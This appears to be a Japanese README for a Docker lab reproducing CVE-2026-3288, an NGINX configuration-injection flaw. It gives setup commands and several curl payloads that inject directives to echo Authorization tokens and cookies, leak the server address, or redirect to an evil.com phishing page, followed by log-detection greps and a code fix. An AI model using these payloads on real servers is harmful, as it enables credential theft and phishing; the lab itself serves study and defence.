CVE-2026-3288-lab/
├── README.md                          # このファイル
├── docker-compose.yml                 # メインのラボ設定
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # 脆弱な NGINX 設定
│   │   ├── nginx.conf                # 基本設定
│   │   └── vulnerable-config.conf    # 脆弱なパス処理
│   └── backend/
│       ├── Dockerfile                # シンプルなバックエンドアプリ
│       └── app.py                    # Flask アプリケーション
├── exploits/
│   ├── exploit.py                    # 自動化されたエクスプロイトスクリプト
│   ├── payloads.txt                  # エクスプロイトペイロードのコレクション
│   └── test-exploits.sh              # すべてのエクスプロイトをテスト
├── detection/
│   └── monitor-logs.sh               # エクスプロイト試行の監視
└── cleanup/
    └── cleanup.sh                    # すべてのラボリソースを削除

cd CVE-2026-3288-lab

# 脆弱な環境を起動
docker-compose up -d

# ステータスを確認
docker-compose ps

# バックエンドの動作をテスト
curl http://localhost:8080/

# NGINX の動作をテスト
curl http://localhost/

cd exploits

# 自動化されたエクスプロイト
python3 exploit.py --all

# または個別のエクスプロイトをテスト
bash test-exploits.sh

# エクスプロイトの NGINX ログを監視
docker-compose logs -f nginx

# 検出の監視
cd detection
bash monitor-logs.sh

docker-compose down -v

/api" return 200 "HACKED BY ATTACKER

curl 'http://localhost/api" return 200 "HACKED'

/login" return 200 "Token: $http_authorization

curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

/" return 302 "https://evil.com/phishing

curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

/" return 200 "Internal IP: $server_addr

curl 'http://localhost/" return 200 "Internal IP: $server_addr'

/" return 200 "Cookies: $http_cookie

curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

# 脆弱な設定
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

# 攻撃者の入力: /api" return 200 "HACKED
# 結果:
location ~ "^/api" return 200 "HACKED" {
    # 元の設定は壊れている
}

# 不審なパターンを監視
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

# 注入されたディレクティブの NGINX 設定を確認
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

// 修正前（脆弱）
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// 修正後（修正済み）
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

# ログを確認
docker-compose logs

# 再起動
docker-compose restart

# docker-compose.yml でポートを変更
# または競合するサービスを停止
sudo lsof -i :80

# NGINX が実行されているか確認
docker-compose ps nginx

# NGINX 設定を確認
docker exec cve-2026-3288-nginx nginx -t